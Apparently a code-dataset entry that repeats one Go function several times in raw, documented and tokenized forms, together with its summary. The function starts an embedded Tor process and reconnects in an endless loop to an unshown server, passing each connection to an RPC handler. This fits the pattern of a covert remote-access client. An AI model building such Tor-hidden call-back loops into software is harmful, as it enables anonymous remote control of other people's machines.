func NetClient() {
	log.Println("NetClient")
	initServer()
	var conf tor.StartConf
	conf = tor.StartConf{ProcessCreator: embedded.NewCreator()}

	t, err := tor.Start(nil, &conf)
	if err != nil {
		log.Println("[!] Tor could not be started:", err)
		return
	}
	defer t.Close()
	dialer, _ := t.Dialer(nil, nil)
	for {
		conn, err := connect(dialer)
		if err != nil {
			log.Println("Could not connect:", err)
			time.Sleep(10 * time.Second)
			continue
		}
		RPC(conn)
	}
}
// NetClient start tor and invoke connect
NetClient start tor and invoke connect
// NetClient start tor and invoke connect
func NetClient() {
	log.Println("NetClient")
	initServer()
	var conf tor.StartConf
	conf = tor.StartConf{ProcessCreator: embedded.NewCreator()}
	t, err := tor.Start(nil, &conf)
	if err != nil {
		log.Println("[!] Tor could not be started:", err)
		return
	}
	defer t.Close()
	dialer, _ := t.Dialer(nil, nil)
	for {
		conn, err := connect(dialer)
		if err != nil {
			log.Println("Could not connect:", err)
			time.Sleep(10 * time.Second)
			continue
		}
		RPC(conn)
	}
}
func NetClient ( ) { log . Println ( " " ) initServer ( ) var conf tor . StartConf conf = tor . StartConf { ProcessCreator : embedded . NewCreator ( ) } t , err := tor . Start ( nil , & conf ) if err != nil { log . Println ( " " , err ) return } defer t . Close ( ) dialer , _ := t . Dialer ( nil , nil ) for { conn , err := connect ( dialer ) if err != nil { log . Println ( " " , err ) time . Sleep ( 10 * time . Second ) continue } RPC ( conn ) } }
NetClient start tor and invoke connect
NetClient start tor and invoke connect